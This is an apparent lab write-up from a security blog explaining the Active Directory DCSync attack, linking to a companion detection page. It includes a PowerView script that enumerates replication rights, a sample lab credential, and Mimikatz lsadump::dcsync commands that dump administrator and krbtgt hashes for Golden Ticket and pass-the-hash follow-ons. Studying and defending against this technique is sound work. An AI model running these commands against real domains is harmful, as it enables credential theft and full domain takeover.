Active Directory / ARTICLE

Dcsync

بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار

Detection Side

https://anas404.gitbook.io/anas404/active-directory/detecting-ad-attacks/detecting-dcsync


intro

A DCSync attack is a technique used by threat actors to simulate the behavior of a domain controller (DC) in an Active Directory (AD) environment. The attack leverages legitimate features of the Directory Replication Service Remote Protocol (MS-DRSR) to extract sensitive data from the domain

Instead of deploying malware or injecting code, the attacker uses tools (such as Mimikatz) to impersonate a DC and request replication of credential data — particularly password hashes for user accounts, including KRBTGT and domain admins.


steps

1. Compromise an Account

The attacker first gains access to a privileged account that has replication rights. This usually means compromising :

  • A Domain Admin account, or A system account with delegated replication permissions, or An account with “DS-Replication-Get-Changes” and “DS-Replication-Get-Changes-All” rights , These permissions allow the attacker to mimic a DC’s replication requests.
  • Of course, from previous attacks we already obtained the IIS password and found that it belongs to the Administrators and Enterprise Admins groups, so we will use it in DCSync.

iis_service:Passw0rd

Check Who Can Perform DCSync

Using PowerView : find users with Replicating Directory Changes rights

# ============================================================
# ENUMERATE DCSYNC PERMISSIONS
# ============================================================

# Using PowerView — find users with Replicating Directory Changes rights
Import-Module .\PowerView.ps1

# Find all ACEs that grant replication rights
Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base `
    -ResolveGUIDs | Where-Object {
    $_.ObjectAceType -match "Replicating" -or
    $_.ActiveDirectoryRights -match "GenericAll"
} | ForEach-Object {
    [PSCustomObject]@{
        Principal = Convert-SidToName $_.SecurityIdentifier
        Right     = $_.ObjectAceType
    }
} | Format-Table -AutoSize

Example Output

Principal                   Right
---------                   -----
DCORP\Domain Admins         DS-Replication-Get-Changes-All
DCORP\Enterprise Admins     DS-Replication-Get-Changes-All
DCORP\Domain Controllers    DS-Replication-Get-Changes-All
DCORP\Domain Admins         DS-Replication-Get-Changes
DCORP\Enterprise Admins     DS-Replication-Get-Changes
DCORP\svc_azureadconnect    DS-Replication-Get-Changes

2. Discover a DC

Next, the attacker locates an accessible domain controller within the network. Tools like nltest,nslookup, or built-in Windows commands can help identify DCs.

3. Impersonate a DC

Using tools such as the following, the attacker crafts requests as though they were a legitimate DC participating in Active Directory replication.

  • Mimikatz (lsadump::dcsync)
  • Impacket’s secretsdump.py

login to DC Using RDP With iis credentials [ from attacker machine ]

copy mimikatz from “hacker” ws01 to DC

4. Extract Password Hashes

The DC responds with the requested data, including:

  • NTLM hashes
  • Kerberos keys
  • KRBTGT account hash (critical for creating Golden Tickets)

This data enables password cracking, impersonation, or pass-the-hash attacks.

using mimikatz

lsadump::dcsync /user:hunters404\<user>
lsadump::dcsync /user:hunters404\administrator
lsadump::dcsync /user:hunters404\krbtgt

5. Launch Follow-on Attacks

With password hashes in hand, the attacker can:

  • Forge Golden Tickets (unlimited, long-term access)
  • Conduct Pass-the-Ticket or Pass-the-Hash attacks
  • Escalate privileges or move laterally across the domain

resources

https://community.netwrix.com/t/dcsync-credential-attack/121955

https://community.netwrix.com/t/dc-shadow-attack/121584

https://adsecurity.org/?p=1729

https://netwrix.com/en/resources/blog/what-is-dcsync-an-introduction/

https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/dcsync-attack/


سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك
← All journal articles
Scroll to Top
Home